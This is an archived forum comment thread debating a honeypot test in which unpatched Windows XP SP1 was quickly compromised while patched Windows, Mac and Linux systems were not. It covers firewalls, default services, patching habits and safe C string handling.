Maybe you have plenty of problems but you are not aware of it? My dedicated OpenBSD pf firewall shows that my IP gets scanned for Windows vulnerabilities at least once every few minutes.

I find your story very hard to believe. You don't have a NAT gateway?

Re:I do it

[FireFury03]

I can just tell you that having seen how many services are listening for connections from anywhere by default on a Win2k box, *I* would never want to plug one into the internet directly. And yeah, I know you can disable those services, but it would take a degree in rocket science to figure out which you need or don't need within a sane amount of time. (Turn off the wrong service and your box stops working right)

The other thing is, I don't use any Microsoft products other than Windows itself, really. Third-party chat, Eudora for e-mail, Firefox and Opera for browsing, WordPerfect and OpenOffice for all the office-style needs, etc etc.

I'm not seeing anything here that can't be done as well or better under Linux - why use Windows at all?

Re:I do it

[jedrek]

I'm not seeing anything here that can't be done as well or better under Linux - why use Windows at all?

Maybe because there are dozens of major apps and thousands of games avalible for Windows that just don't exist for Linux?

Re:I do it

[FireFury03]

Maybe because there are dozens of major apps and thousands of games avalible for Windows that just don't exist for Linux?

The games I will give you, but there are often equivalent (and free) apps for linux. Personally I haven't used Windows for years - Linux has all the applications I need (both for home and work), costs me nothing and is much less of a headache than Windows when things go wrong. Whenever I ask people why they need Windows, 95% of the time I will get back "because Linux doesn't run the latest games" - a valid answer but it just reenforces my belief that Windows is a toy operating system. And besides, if you're going to spend lots on Windows, why don't you just buy a console to play your games on instead?

Re:I do it

[XMyth]

Do you have XP's firewall turned on for your outside network connection?

Re:I do it

[jaseuk]

Your obviously well patched.

The trick is taking an OEM XP disk installing from scratch and connect to the internet before getting patched.

In many cases your box will be borked before you've even downloaded your first update.

This is completely true, I've had to build a firewall specificially for rebuilds as our PCs get infected by other machines on our own network within a few minutes of power up.

Jason

Re:I do it

[budgenator]

I'm running XP SP1... I do update with security patches often

Seems to me that if your updating, then you've got SP2 installed already; I do and I got XP plain originaly, SP1 and SP2 came in via automatic update.

If you're realy running XP SP1 and haven't been compromised, I'll wager that you're on a dial-up connection, a broadband connected 'puter is a much more inviting target. Get as comcast IP address for a while the chatter on the logs will blow you away, scans from everywhere.

Re:I do it

[green menace]

The games I will give you, but there are often equivalent (and free) apps for linux

I agree with you for the most part, but there a couple areas where linux is lacking for me, hence I still have xp on one of my boxes. I really wish there was a program like Quicken for monitoring my investments ( downloading changes and printing out pretty little graphs for me ). I still find gnucash lacking (and a little bit ugly).

And besides, if you're going to spend lots on Windows, why don't you just buy a console to play your games on instead?

As far as I am concerned, PC games and Console games are very different. I haven't been into consoles since the Super Nintendo. I prefer PC games. Most of my friends who have resisted the switch were prodded into checking out a livecd, which has usually led to me helping them get a dual-boot going.

Re:I do it

[oconnorcjo]

I have no firewall, or router. I'm running XP SP1. And I've never had a single problem (my virus scanner hasn't even had to do any work . . . and I have open shares, including an upload folder!).

I am going to assume that: 1. your modem has a firewall built into it (I know some models do). 2. Your internet provider is fire-walling you (I know some that do).

I have several logs on various firewalls that tell me how many intrusions were attempted on different boxes and the numbers are amazingly HIGH. Your box is either 0wned by someone on the internet (and you don't know it) or you ISP has been "babysitting" you because they know thier are many people out there like you.

Re:I do it

[Politburo]

it would take a degree in rocket science to figure out which you need or don't need within a sane amount of time. (Turn off the wrong service and your box stops working right)

Not really. To borrow from linux: RTFM. Of course M here really means Internet.

Re:I do it

[FireFury03]

Not really. To borrow from linux: RTFM. Of course M here really means Internet.

Well the difference here is that under linux you have to be clueful enough to turn a service (potential security hole) on, whereas under windows you have to know what you're doing to close a security hole.

Compare:
[Linux] I need the web service turned on to do my job so I'll spend a few minutes finding out how to do it.
[Windows] I don't need that web service on... but hey, it's not really doing me any harm at the moment so I can't be arsed to work out how to turn it off.

Re:I do it

[bbuR_bbuB]

You've obviously never seen a default red hat 7 installation. :)

Re:I do it

[mattspammail]

And you've got a constant Internet connection? First thing you need to do then is buy a router. Seriously. Second, check to see that someone didn't set up a hidden share on your box and start dumping files on it. Also check to see what kind of outgoing network traffic you've got. Your box may have been turned into one of the spam boxes I hate so much. It's irresponsible, at best, not to implement security. Your box won't be disabled by outsiders, most likely. Instead, it'll be turned into a tool working for someone else. Inform yourself before you start saying how you're unaffected. Ignorance should be unacceptable, not a platform to stand on.

Re:I do it

[FireFury03]

You've obviously never seen a default red hat 7 installation. :)

Umm, with respect, Red Hat 7.0 was released in 2000 - you cannot compare Red Hat 7.0 and XP, by doing so you're no better than the people who are comparing Fedora Core 3 against windows 2000 and declaring that it proves fedora is more secure than windows. (Yes, fedora is probably more secure than windows but the way to prove it isn't be comparing it against a non-current system).

I am not arguing in Windows's favour, I am just arguing for a fair comparison.

Re:I do it

[Politburo]

so I can't be arsed to work out how to turn it off.

I understand your point, that the services shouldn't be on to begin with.

However, if you are competent enough to see what services are running, you can turn them off. Double-click, set "Startup Type" to disabled. Click Stop (if applicable).

Re:I do it

[bbuR_bbuB]

Ooh, you really got me good! The smiley means I'm joking, you dick.

Re:I do it

[FireFury03]

However, if you are competent enough to see what services are running, you can turn them off.

Having seen how many millions of services are on by default on Win2k Advanced Server and the cryptic names they have which don't tell you WTF they actually *do* I'd argue that it's not that easy.

Re:I do it

[Politburo]

No, it's still very, very easy to turn them off, either through the GUI or CLI. Determining which ones you want to turn off is another story. In the past, the Internet has helped me greatly with this, but that was only with consumer versions of Windows. I have not worked with W2K-AS so I cannot comment on that aspect of your post.

Re:I do it

[HD Webdev]

So what's the secret, then? I don't entirely know, I think it must be alot of little things combining. Partially, I think things aren't quite as horribly insecure as people think; just that when they are, and they often are by default, things go so horribly wrong that it colours one's perspective on the issue

They are as horribly insecure as people think.

It's just that like the fact that most people's homes are horribly insecure but most don't get burglarized often.

It's opportunity and the attractivness of the target + the security measures that determine the likelyhood of of a computer being broken into.

As you mention, you updated the security patches. Much like building a larger gate and more security guards, you're much less likely to be sucessfully attacked.

Re:I do it

[Suddenly_Dead]

If absolutely nothing is happening with your shares the ISP must be doing something, or you're quite lucky. If I open up network shares and disable the router firewall for even a few hours, no matter how fresh and clean an installation, I always get a worm or two (or script kiddies or whatever) dropping executables into the shares. Not that they do anything unless I run them, of course.

I believe the thing with the box not dieing, though. As long as you keep up with the latest Windows updates, the current worms and most script kiddy exploits can't get through. Of course, not patching tends to result in a box getting comprimised in less than a day.

Re:I do it

[PurpleWizard]

I think you may have hit the nail. My mum's PC was running Win95 (it did all she needed quickly! on an old machine) and no firewall. She was only using dial up but in two years never got hit. The I know the ISP in that case does do some protective work!

Re:I do it

[Luminary Crush]

If you really want to see if it's sensationalist worries, a good configuration or just your dumb luck, feel free to post your IP address ;)

Re:I do it

[mixmasta]

I agree with you, but you should have SP2, it's worth it.

I've never had any issues with my Windows box either, because I kept it locked down in the first place. It's not luck, it's logical.

Re:I do it

[aztracker1]

Actually, many ISPs (cable/dsl) specifically block inbound windows RPC & Fileshare ports..

Re:I do it

[peg0cjs]

If you're practicing unsafe netting (no firewall) running an unpatched box, then there's a very good chance that you're box has been compromised and you don't know it. Not all exploits result in BSODs or crashes.

For all you know, you've been zombied and are sending out all those lovely penis-enlargement e-mails we all appreciate.

Re:I do it

[EndlessNameless]

:::This is completely true, I've had to build a firewall specificially for rebuilds as our PCs get infected by other machines on our own network within a few minutes of power up.:::

I'm don't know who's ultimately in charge of that network, but his job should belong to someone else. There's subpar administration, piss-poor administration, and then there's whatever the hell he's doing. If he has the expertise under him to isolate a subnet for software rebuilding and updating, he should be able to neutralize the problem in the first place. As a matter of fact, doing so might eliminate most of the time spent on software rebuilds... just a thought.

Re:What I'm not surprised about

[beowulfcluster]

No propagating virus etc has been written for *nix. Yet.

Then what is this about?

The Morris Worm

Windows For Workgroups I've never been hacked!!

[infonography]

Of course I never turn it on, but if anyone tried to break into it the would have the door slam into them.

Re:I think you're off base...

[GaryPatterson]

Unless you run a server, Apache isn't an issue. A security hole should be in something that is actually being used in some manner.

Re:Survival of the fittest?

[Trinn]

Just remember, whatever you do, stay away from that nasty dimensional science!

MISLEADING!

[rhohan]

windows doesn't "automatically" install updates. It will automatically download them. IF you select the automatic updates in the setup. So to install them, you to tell it to install them. It takes user interaction. This isn't OUT OF THE BOX. out of the box would be no user interaction, save for installing the os. i don't want to just jump on the "hate windows" bandwagon, (surprise, i am a gamer, i use windows) but this wasn't done uniformly btw: WOOT WOOT FOR OSX. but hey, it's unix. what did you expect?

I would like to make 2 points...

[MrEcho.net]

1: Most windows users think its some kind of toy or fancy game console. no joke. Security to them is locking the front door if you know what I mean.
Some of these people time to time MIGHT see something on TV about viruses, but other then that, they have no idea about patches.
The flip side to that is the people the see the AOL tv ad's. I feel really sorry form them, and for us that have to fix there computer afterwords.

2: Most of the "UNIX" community respects one another, and doesn't want to trash someone else's box "just for the fun of it".
That and its a lot harder to "hack" it because there is a lot more of a diverse range of programs and version of those programs.
The attack might only work for one version, but there is only a small percentage of computers out there that even run that version.

Security through obscurity

[filipvh]

I hate to be the one to bring up the old argument, but Windows machines are attacked more often because there are more of them; it's the bigger, easier target.

One could make the case, in fact, that security holes are found in Windows more often because, as the bigger target, there are more people out looking for them - exploit a new vulnerability and you stand to compromise a lot more Windows machines than Mac OS X machines, or Linux machines, or whatever.

Using Mac OS X (or any other OS) because it's attacked less often is another form of security by obscurity, and it's no security at all. By your argument, everyone should run OS X, because it does not get attacked, but when they do, then they will be the new target. Any security holes in Mac OS X (and there are *always* security holes in any system) will be exploited much more aggressively than they are now.

You are only (reasonably) secure if you run a patched box, regardless of OS.

Re:Security through obscurity

[Anonymous Coward]

"One could make the case, in fact, that security holes are found in Windows more often because, as the bigger target, there are more people out looking for them"

Perhaps it's not that Windows is a bigger target, just an easier one? Strange, that with full source code and documentation available, nobody has

"...you stand to compromise a lot more Windows machines than Mac OS X machines, or Linux machines"

Given the disproportionate number of Linux boxen hosting web sites & FTP servers (ref. netcraft) compared to market penetration, and the fact that most servers operate 24/7, wouldn't it actually be more efficient to use Linux machines to attack Windows?

"Using Mac OS X (or any other OS) because it's attacked less often is another form of security by obscurity, and it's no security at all."

Many of the attack vectors that exist in Windows simply do not exist in OS X or Linux. Those exploits are mostly due to poor decisions on MS's part (rushing to develop ActiveX rather than just sucking it up and using Java, for one example).

"You are only (reasonably) secure if you run a patched box, regardless of OS."

One of the major changes in SP 2 is closing unused ports by default; in other words, mirroring the default state of the Unixs. If the Unix security model is so poor, why is MS using it as their reference?

3 would be better

[m50d]

Secure by default. The users who are likely to be unable to keep up with patches are exactly the same users who don't know how to turn off services. So ffs don't have services running on a default install.

Re:*nix will be a major target of worms in the fut

[rimmon]

Well, the first worm of all times come to mind, the on robert t. morris released in 87/88(?). That one exploited holes in sendmail, fingerd and some other services I don't recall. There where a lot of theses in the years after that. So yes, Unix sure had a problem with worms.

Re:I think you're off base...

[Llywelyn]

Yes, because every mac comes with the web server enabled by default.

PLEASE MOD PARENT UP!

[BinaryCodedDecimal]

And mod grandparent down, it's nothing but FUD.

There is absolutely no risk connecting an unpatched XP box to the Internet provided you firewall it first. And, oh looky, there's a firewall shipped with XP! It's more than adequate to prevent being compromised while you go to Windows Update and download the patches.

Re:PLEASE MOD PARENT UP!

[geordie_loz]

I agree that this is a secure thing. The problem is, nowhere does it tell a novice user that you should enable the firewall, connect to the net then, download patches, then you're secure

The problem with the security is not that the machine can never be made secure, but that it starts out as a terribly insecure product. This is a problem. Most users are out of the box users. They have no understanding, so they don't know about the firewal etc.. They're told by MS that for security they need to patch using windows update. The point above is that this isn't actually that secure, and while this is happening a compromise can take place.

The main issue here is the slack standards Microsoft use to get their products out the door, and their trade off of complexity to security. They are scared of treating their customers with intelligence, and educating them correctly about the actual process of securing and methods of attack (not necessarily at too technical a level) so good practices are used. For fear of confusing the users the XP SP1 firewall is off, and it's not the only software that has all the security off by default.

If normal users understood that direct connections to the net were bad, they'd all buy routers, they'd consider firewalls, probably ones configured to block all but MSN, E-mail and web access, and we'd live in a considerably more worm free world.

The OS may be securable, but it is not secure by default!. That is the problem, because most users don't do anything but the default (hence Explorer's 90% market share)

Re:PLEASE MOD PARENT UP!

[FireFury03]

If normal users understood that direct connections to the net were bad, they'd all buy routers, they'd consider firewalls, probably ones configured to block all but MSN, E-mail and web access, and we'd live in a considerably more worm free world.

I think you are giving many users far too much credit. 90% of the cases where I have to deal with customers who have misconfigured their mail server as a spam relay, I get a response similar to "Yeah, I know that's really insecure and lets spammers use it, but it was [easier to set up]/[only going to be like that for a few weeks]/[not as if I was telling the spammers the open relay was there]" (delete as appropriate).

The point is that these people *knew* that what they were doing was really stupid, but were doing it anyway because they couldn't be bothered to be secure. Of course it always comes back to bite them in the ass when their server falls over with several million spams in the mail relay queue and a completely saturated ADSL connection.

Re:PLEASE MOD PARENT UP!

[SillyNickName4me]

Now just include the insructions for this with every machine and in such a way that it is understandable and will be done by a non technical user who can barely match the colors of conenctors (a big step forward already, before colored conenctors they were not able to connect it at all) for connecting their box. With all respect, as logn as computers are sold as devices similar to a TV or dishwasher, ie, somethign that just works once you luhhed it in, requiring people to change (for them) obscure security settings is simply asking for something that will never ever work. If this problem is to be solved the solution has to come from somewhere else because this is not a technical problem (the technical side oif it has been solved as you show correctly) but a problem of how things are sold and to whom, and in what kind of configuration.

Re:PLEASE MOD PARENT UP!

[tehwebguy]

The point is that these people *knew* that what they were doing was really stupid, but were doing it anyway because they couldn't be bothered to be secure.

those users will learn quickly though. if they already know the dangers of what they are doing, and then they are made to face the consequences of their actions, they will probably think twice about security.

the people we are talking about are the ones that don't know what 'mail server' means, the ones that don't know what the right mouse button does, and the ones that double click on text links while browsing the web.

Re:PLEASE MOD PARENT UP!

[naily]

Security should be on a par with safety, in terms of the responsibilities and precautions required of companies. Microsoft are replacing 14 million xbox cables. Why not 100 million service pack CDs for their largest customer base?

It's all well and good to say 'patch your machines', but that's hardly a consumer-friendly approach in any industry. The way to teach security is to show people the locks, not the doors.

Re:PLEASE MOD PARENT UP!

[geordie_loz]

since when do you put people installing the OS into the novice category. Sure you don't need to be a guru, but we're talking about people using pre-installed, out of the box stuff, which is what most windows home users are going to be.

as to the whole unix/linux thing, ok true. I never mentioned them really. However I will say that the problem isn't that MS can't release secure software, SP2 is considerably more secure as this whole test showed. The problem is that they release when it's not secure.

I doubt when Longhorn is released it will be secure to the same degree. It will be SP2 when that's secure and we can trust it. The problem is that Microsoft have a real burden to release new stuff to produce new revenue. This is something which Open-Source generally doesn't suffer from, they release, but unstable versions which get a lot of bugs dealt with before being considered ok for a real-world environment.

I suspect Longhorn could probably be the buggiest version of windows we'll ever see, becasue of all the preasures on time so much will be unfinished. From what I can tell the whole thing is a re-write from the ground up. Perhaps this will have an inherrently more secure design, but I would be very suspicious of it until it's been out about a year or so... The trouble is, once it's out all new PCs will have it by default, so essentially MSs beta software will be forced on the less savvy users out there first.

Re:PLEASE MOD PARENT UP!

[DavidTC]

Are you on drugs or something? Or are you just repeating FUD?

Solaris 10 is not for end users to install. Sun has classes on how to install it.

Yes, if you handed it to someone who didn't know what they were doing, it's possibly they'd end up with an install that was insecure. It's much more likely, however, that they'd end up without an install at all.

And, perhaps more to the point, Sun boxes are not offered in Walmart that you can take home, plug in, and immediately get infected.

Complaining that Sun is insecure by default is like complaining that a kit for building your own airplane doesn't come with a sun visor, and thus if stupid people purchase it and try to operate it they could get blinded. Um, whatever.

Re:PLEASE MOD PARENT UP!

[DavidTC]

There is no such thing as 'out of the box' Solaris. If you pick up a box, and try to install Solaris, you will not end up with a machine that has ports listing. In fact, you will not end up with a usable machine at all, because, 99 times out of 100, you will have gotten a dependency wrong or set up your slices incorrectly or something.

I'm not saying it matter who the 'typical administrator' is. I'm saying it matters that the level of competance required is so high that any installer is going to know to turn things off. (Granted, it's not an incredibly high level, but it's well out of the reach of people who don't to turn things off.)

Oh, and as an aside, you're just wrong. Even if a clueless person stumbles through an install of Solaris 10, and manages to install the ssh server and the X server, they are not at risk at all by those things, even if they have holes. Why?

Because the end result of an install of Solaris 10 does not have working networking. And hence it doesn't matter if services are 'listening'.

The complaints about Windows isn't just about defaults, they are about the default of an OS that is sold to people who leave defaults as-is. You can't do that on Solaris 10, and thus the 'defaults' are a rather moot point.

How about older distros?

[Esel Theo]

I'm absolutely not surprised that up-to-date systems survive current attacks. I'd even expect that from the vendor/distributor.

The behavior of a not exactly up-to-date system would give much more insight in the overall security of an operating system. The authors tested Windows XP SP1. But what about outdated Linux distributions?

My personal experience is that it is virtually impossible to install Windows XP today on a system that is connected to the internet. You don't even have the chance to install SP2 fast enough. The article confirms this with its SP1 experiment (it survived 18 minutes).

In contrast, I'd expect any of the Linux distributions to survive way longer unpatched than Windows does. The distros I've seen (SuSE, Gentoo) have turned any useless service off on a default install since years (I wonder about /. readers that tell something different for Fedora). And I think you can safely do a default install on these systems and then pull your patches from the internet.

A few, say, one or two year old Linux distros would have been a very interesting contrast to the authors SP1 experience.

Re:idiot...

[Loligo]

> Pardon the shoddy grammar, it is rather late. Post AC to not whore karma.

Yeah, cause I see this one getting modded up REAL REAL HIGH.

Re:first

[X0563511]

It's so funny to see something like Post is first bitches when it is nowhere near being first.

OK, to be on topic now. Notice how the article mentions that you need to pay to get Linux from a vendor. Now notice that what they say seems to say that the only way to get security updates is through a vendor.
Apparently the reporter and/or testers have never heard of Debian (ever notice the http://security.debian.org in your apt list?) or any other distro that has frequent updates.

I find it funny how they test Suse, RedHat (they must mean RedHat Enterprise), and Fedora - and then act like they just tested LINUX itself.

To be fair, if they want to test linux they need to go through Linux From Scratch and stop as soon as they get a bootable system - then test that. More than likely secure, as there is nothing besides the Kernel and a couple core utilities (maybe) to attack!

Re:OSX

[skingers6894]

I'm sorry, what do you mean?

"None of the attacks successul"

[dustmite]

Maybe they think of attempts to ssh in as root and guess the password as attacks?

I suspect you are right. FTA:

The Windows Service Pack 2, or SP 2, system is the most up-to-date Windows operating system. It received 16 direct attacks.

The Macintosh system received three attacks. Two of the Linux systems received eight attacks each, though Red Hat's version of Linux received no attacks at all.

But in the end, none of the attacks were successful.

So on up to date systems, none of them were successfully hacked. XPS1 got taken over in minutes though. Which just confirms what we already knew, that XPSP1 was an atrocious POS OS, and was released because of Microsoft's sloppy "release a beta-quality product way too early in order to gain market share quickly and then patch the inevitable mess later" attitude, but SP2 is definitely a move in the right direction, although years late, and a lot of damage has already been done. Has MS really changed, I wonder? Will they stay on this 'right track' where they 'care about security' or is it all necessary damage control + PR "for now", in their minds?

Hmm .. just thinking, the software update on my 10.3 Mac mini downloaded an update referred to as a 'security update' .. wonder if a known vulnerability was patched there-in.

Re:*nix will be a major target of worms in the fut

[MemoryDragon]

Actually... you fell for Microsofts Marketing propaganda, Longhorn to my knowledge wont have the complete API rewritten in C#, it just will have a thin C# layer on top of all relevant APIs... This makes things more secure but not secure from a buffer overflow standpoint. What happens is, that the injected data is delegated over a thin C# layer into the win32 API in various parts and hence buffer overflows and other nastyness still is possible. Face it we are still 10 years away from being able to run windows in a VM with a vm based language having covered every aspect of 20 year old legacy code which by then is dumped.

No revelation here

[herve_masson]

There are going to be security holes in just about any operating system," said Silver

Sure. What matters is what can be done through those holes. This is where OSes differ greatly, and OS popularity has nothing to do with that.

"The honey pot test is a good indication that many small-business and home computers are still using older versions of Windows

No? Really? I mean, you really need a honey pot test to reach this conclusion?

I still have a bunch of unexperienced friends running w98. I spend a hell of time to bring them things they have no clue about (firewall? What the f**k is this for?). People using XPSP1 behind a dialup access are not much safer.
The problem starts by assuming most people have clues on computing. Automated updates is just a little part of the answer, and it takes connectivity not everyone have.
Leaving users out of admin privileges except in the rare occasions they need it is probably the key element, and none of those XP friends knew that because windows came preinstalled with a really dumb config. And guess what, they all call me when it's too late.

bannination!

[g0hare]

Uh-oh - bannination ensues for actually knowing how to administer Windows correctly! ( I got 150 boxes in a solid MS shop. It all works fine. Custom apps, everything, all my trouble just disappeared after we got rid of 98 finally). Congrats to you for bothering to RTFM that comes with Windows.

Re:bannination!

[Nintendork]

LOL, god I loathe 9x. First thing I do when I come into a business or help someone with their home computer is migrate to the NT family. I wish Microsoft would have named the NT family something other than Windows just so people wouldn't classify them as the same OS. Moving the home side of their operation away from 9x and burying it is making my life much easier. No more new computers with ME. Having a firewall enabled by default was the second great change. Now if they could only figure out a way to stop adware out of the box, bliss would ensue.

-Lucas

Linux is insecure

[RdsArts]

While that wasn't a serious post (or at least I hope not), I'll try and offer a true argument in this vein:

Hula. YOu know it. You love it. It's installed on your PC right now. Did you audit the code? No. Did you install it as someone other than root? No.

You have it sitting there, since it's not packaged yet, as a daemon, which is running as root, in /usr.

Totally safe!

(Before we go further, this is true of any software package. Hula's just been popular lately and thus helps to underline the point more clearly. I do not believe Hula is evil spyware, nor that anyone involve with it is now, nor has been, a member of the communist party.)

Except if it where spyware it could have wrote over who-knows-what and now is sending each shell command and bit of network activity to whomever. And it's root. So we've now a root server running on port 80 which has not been audited. Thank God sendmail taught us all our lesson, right?

Linux is no safer than any other OS at the moment. Hell, if we look at the fact that strlcat/cpy have been turned down for inclusion multiple times to the GNU libc because it would be "slower" when preventing a buffer vuln, if anything it's getting worse, and will continue down that slope.

It's as if we've forgotten all we know, and we're ignoring those who try to remind us.

Re:Linux is insecure

[Hal_Porter]

Hell, if we look at the fact that strlcat/cpy have been turned down for inclusion multiple times to the GNU libc because it would be "slower" when preventing a buffer vuln, if anything it's getting worse, and will continue down that slope.

It's true

http://sources.redhat.com/ml/libc-alpha/2000-08/ms g00053.html

compare and contrast with this

http://weblogs.asp.net/oldnewthing/archive/2005/01 /07/348437.aspx

In fact the paper they reference on strlcat has this great example of strlcat/cpy vs strncat/cpy

Orginal unsafe code. The path string can be overrun if it is too small to hold the concatenated strings. If it is just before the return address on the stack, you have a possible exploit.

strcpy(path, homedir);
strcat(path, "/");
strcat(path, ".foorc");
len = strlen(path);

with strncat / cpy. The code is safe but it's hard to read and thus to check it is safe. Also the calls to strlen require the string size be measured by counting the characters. Note that both strncat and strlcat will need to do this again when working out where to write the string to be concatenated. strncpy also wastes time zero filling the string, which strlcpy doesn't need to do.

strncpy(path, homedir, sizeof(path) - 1);
path[sizeof(path) - 1] = '\ 0';
strncat(path, "/",sizeof(path) - strlen(path) - 1);
strncat(path, ".foorc", sizeof(path) - strlen(path) - 1);
len = strlen(path);

with strlcat / cpy

strlcpy(path, homedir, sizeof(path));
strlcat(path, "/", sizeof(path));
strlcat(path, ".foorc", sizeof(path));
len = strlen(path);

It's as easy to read as the first code, and probably quicker than the second one, since it skips the excess calls to strlen and the zero filling in strncpy. Of course there's a cost to checking for buffer overflows as you copy, so it's slower than the first one.

Yes, but what repository?

[Kjella]

Stable? Outdated for anything but the most basic of servers.

Testing? a) You get a lot of non-security updates and b) you don't get security updates

Unstable? I'm sure you have the latest security updates as well - when it isn't broken.

The key here is security patches. Things you can run on your production machine and be pretty damn sure it won't crash and burn.

Backporting fixes is not fun. It in not inventive. It doesn't improve the HEAD build of your project. If I wasn't getting paid, I'd rarely bother unless it was either a) really major or b) really easy to fix. 99% of the time, my answer would be "Upgrade to the latest version". No wonder there's a market for vendors here.

Personally, I wish Debian would create a "core" set of packages which would be in testing, yet have security fixes. In stable, everything and the kitchen sink gets security updates, but the version is ancient. I'd be nice if you could upgrade core stuff (I'm thinking X, Gnome, KDE and some core apps, max 1CD of Debian's 13? 14?) while still getting those hotfixes.

Kjella

Re:idiot...

[FireFury03]

In the second, there are those who turned off (or had a "helpful" tech turn off) their automatic updates and have no idea how to update their system.

This isn't an entirely stupid thing to do - if someone is on a pay-per-minute dialup connection, they don't *want* to be automatically downloading hundreds of megabytes of updates. (Especially if a lot of those updates are to add stuff they don't need/want - i.e. DRM for Media Player, etc).

FUD?

[Goose3254]

From the article

"Microsoft responded that the tests prove that any operating system is vulnerable when not patched."

No. They KINDA show that only Microsoft products are vulnerable when not patched.

For what it's worth, IMHO, I think that SOME of the home users that don't patch their installs of MSXP are afraid that MS is trying to slip in some software that would automagically inventory thier MP3 collection, hacked software, etc and somehow "break" thier computer. I think many people think of MS operating systems as a "deal with the devil". They really DON'T want to use Windows, but isn't that Linux thing for computer gurus and really hard to use? It's really hard to combat that kind of FUD. If it wasn't, a HUGE number of corporate users would be using a *nix based solution, if only to shrink desktop support staff.

As a networking professional, I can tell you that the constant rolling out of virus and OS patching to our user base DOES impact network traffic and "regular job" throughput, but the top brass sees this as a necessary evil. But of course my corporation has MS stock in it's portfolio....

And?

[jav1231]

DId they also test to see how long a person would last in sub-zero temps without a jacket? Or how safe a 16 year old girl is walking through an inner city parking lot at 1am? Or how long an child can survive in the woods alone? This is the approach people need to take with their PC.

More MS doublespeak

[v1]

But in the end, none of the attacks were successful.
...
Windows Service Pack 1, or SP 1, however, was another story.
...
Microsoft responded that the tests prove that any operating system is vulnerable when not patched.

In reality it appears that the tests indicate that a windows box is vulnerable when not patched? (tho I'm sure had the test been run long enough, most/all of the unpatched boxes would have eventually been owned)

Everyone has already forgotten...

[cnelzie]

...the Slashdot article about a month ago that depicted a similar honeypot test that included unpatched versions of Operating Systems.

That's not surprising.

Anyway, that honeypot test that I am talking about put several older versions of Red Hat up, which I believ included Red Hat 7.3 (Which, if I am not mistaken was released around the same time as Windows XP was...)

In that test, the default installation, no pathed version of Red Hat 7.3 was secure for 6 months, before it was cracked with a brute force password crack. The Windows XP Machines were cracked on average 6 minutes after being hooked up.

Perhaps you should look up that past Slashdot article, it has far more detail then what I recall and offer here.

Then dont use FC

[unixbugs]

Use something else, sheesh. If managing something like Fedora is too much for you I would suggest running something like Slackware. If you are running services you probably aren't using it for a workstation anyway so I could only assume from your vaugue post that you dont need all that convoluted package management to begin with.

Cookies

[gone6713]

How long have cookies been a form of spyware?

This is from the end of the article.

Some forms of spyware:

Key loggers record keystrokes and then transmit credit card numbers and other sensitive information to identity thieves.

Cookies are used by online companies to track user preferences.

Adware causes annoying pop-up ads but often harvests information like spyware. The best way to know if your computer has spyware is to run an anti-spyware program.

Re:What I'm not surprised about

[SillyNickName4me]

> HELLO, Windows has something like 95+% marketshare. You don't think that factors just a teeny-weeny, tiny bit?

Lets see now..

Was Amiga OS ever popular to the point of having more then a 5% market share?

WHen it was popular, did it have internet conenctivity?

I think few will disagree that the answer to both questions is no.

Despite this, there are thousands of viruses for Amiga OS, which also managed to propagate, and running a virus scanner was a really good idea when using Amiga OS.

THis is not exactly the same as internet based attacks on WIndows/Linux/MacOS machines of course, but it strongly suggests that the 'market share' argument is at the very least not entirely true.

What saddens me the most.

[cabazorro]

What saddens me the most is that there's a new cry out there stating that we all have to either, buy more hardware and software and/or become more savvy administrators to connect safely to the internet.
The true of the matter is that, yes, a reasonably safe-non-hackable OS can be created and sold to the masses. Heck, I can grab Mandrake Move and connect to the Internet and when Im done browsing and reading my email from some on-line service turn the machine off and puff!! THe system is clean as a whistle.
It appears we don't lack the resources, we lack the understanding.

An Excercise for Slashdot

[CristalShandaLear]

I find that many Slashdotters are heartlessly callous towards end user needs and issues.

1. Filter all the comments up to 5
2. Print
3. Take to your favority end user

Even if they can follow the thread of the conversation, ask them if they would know how ACCOMPLISH the actual taks and tips given in the posts.

And please, no jejune whing about how you're tired of having to give out free help. If you're not a part of the solution...

Scanning for TOS

[Treebeard the Ent]

I have noticed that my cable provider will periodically scan for web servers running off of people's home connections. I suppose they do it because they say you can't run a web server in their TOS.

Re:What I'm not surprised about

[mdwh2]

You're confusing your markets.

At least here in the UK, and in some places elsewhere in Europe, there was a time when the Amiga was the most popular home computer. If you decided to stick a virus on some cracked game, and you decided to choose the games platform with a large market share, the Amiga would be the obvious choice.

Yes, overall, due to the vast number of PCs used in business, the market share was low, but the point is that the Amiga was a prime target for virus writers because of it's market share in the home market. Meanwhile, the PC was also a target due to its dominance in business. No one cared about writing viruses for Macs, because it was dominant in neither.

Now we have a situation where Windows is dominant both in business and the home, so it's even more of a target.

I don't see what Internet connectivity has to do with it. Firstly the Amiga most certainly did have Internet connectivity, including "when it was popular", and I believe this was one method that viruses were distributed. Few people used Amigas with the Internet, but then few people used any home computer with the Internet, so obviously virus writers targetted other methods (eg, copied games on floppies).

OK - so how do you check for compromises?

[Registered Coward v2]

Will Spybot, Adaware and a decent AV detect compromises? Especially boted machines? Is ZA enough to block bots?

Or is there something else that will do the job?

One thing I dislike about such articles is they discuss the problem without generally offering solutions.

How complete was the solution set offered at the end of the article?

PR before performance, I always say

[gelfling]

The article stated that MS will go on the offencive to 'get the facts out'.

Hey Steve Ballmer - why don't you get a good fucking product out the door then you wouldn't have to spend a coupla hundred million bucks spinning shit into gold, now would you?

Don't 'give me the facts' I know what the damn facts are. Just make Windows more secure. And here's a tip, Microsoft, just a thought....

Instead of carrying on about the animated 3D Video crushing interface in Longhorn THAT IS ALREADY 2 YEARS LATE....Why don't you spend that effort on making Windows more secure?

Or isn't that sexy enough for your PR guys. I swear you MS morons must go to sleep every night dreaming of new ways to be useless.

Re:PR before performance, I always say

[gatkinso]

Just maybe the reason Longhorn is late is because they are doing exactly what you are asking of them...

Hmm.

Never buy a software firewall.

[DigiShaman]

Exactly. And why do people even buy software based firewalls anymore. I've seen nothing by problems with Norton Firewall and McAfee then I care to rant about. I mean, when a user is constantly being bombarded with "Would you like program X to access the internet", it just gets confusing. So normally, they will say YES for fear with will block their internet access. Which BTW does happen.

For a better an ease solution, just get a hardware router/firewall that does SPI. If for some strange reason you have problems with it, just reboot it. With a software firewall, you have to find what you did wrong or be forced to reinstall it which is a PITA all togeather.

And last but not least. A Linksys Wireless-G router with SPI firewall costs just $10 more compared to Symantic Norton Personal Firewall 2005. It's a no brainer as to what is a better choice. Check prices on the links below.

http://www.newegg.com/app/viewproductdesc.asp?desc ription=33-124-010&DEPA=1

http://www.bestbuy.com/site/olspage.jsp?id=1091099 798939&skuId=6801785&type=product

Re:Never buy a software firewall.

[SillyNickName4me]

WHile I agree with a lot of what you say, there is something software based firewalls do that a hardware based firewall can't do.

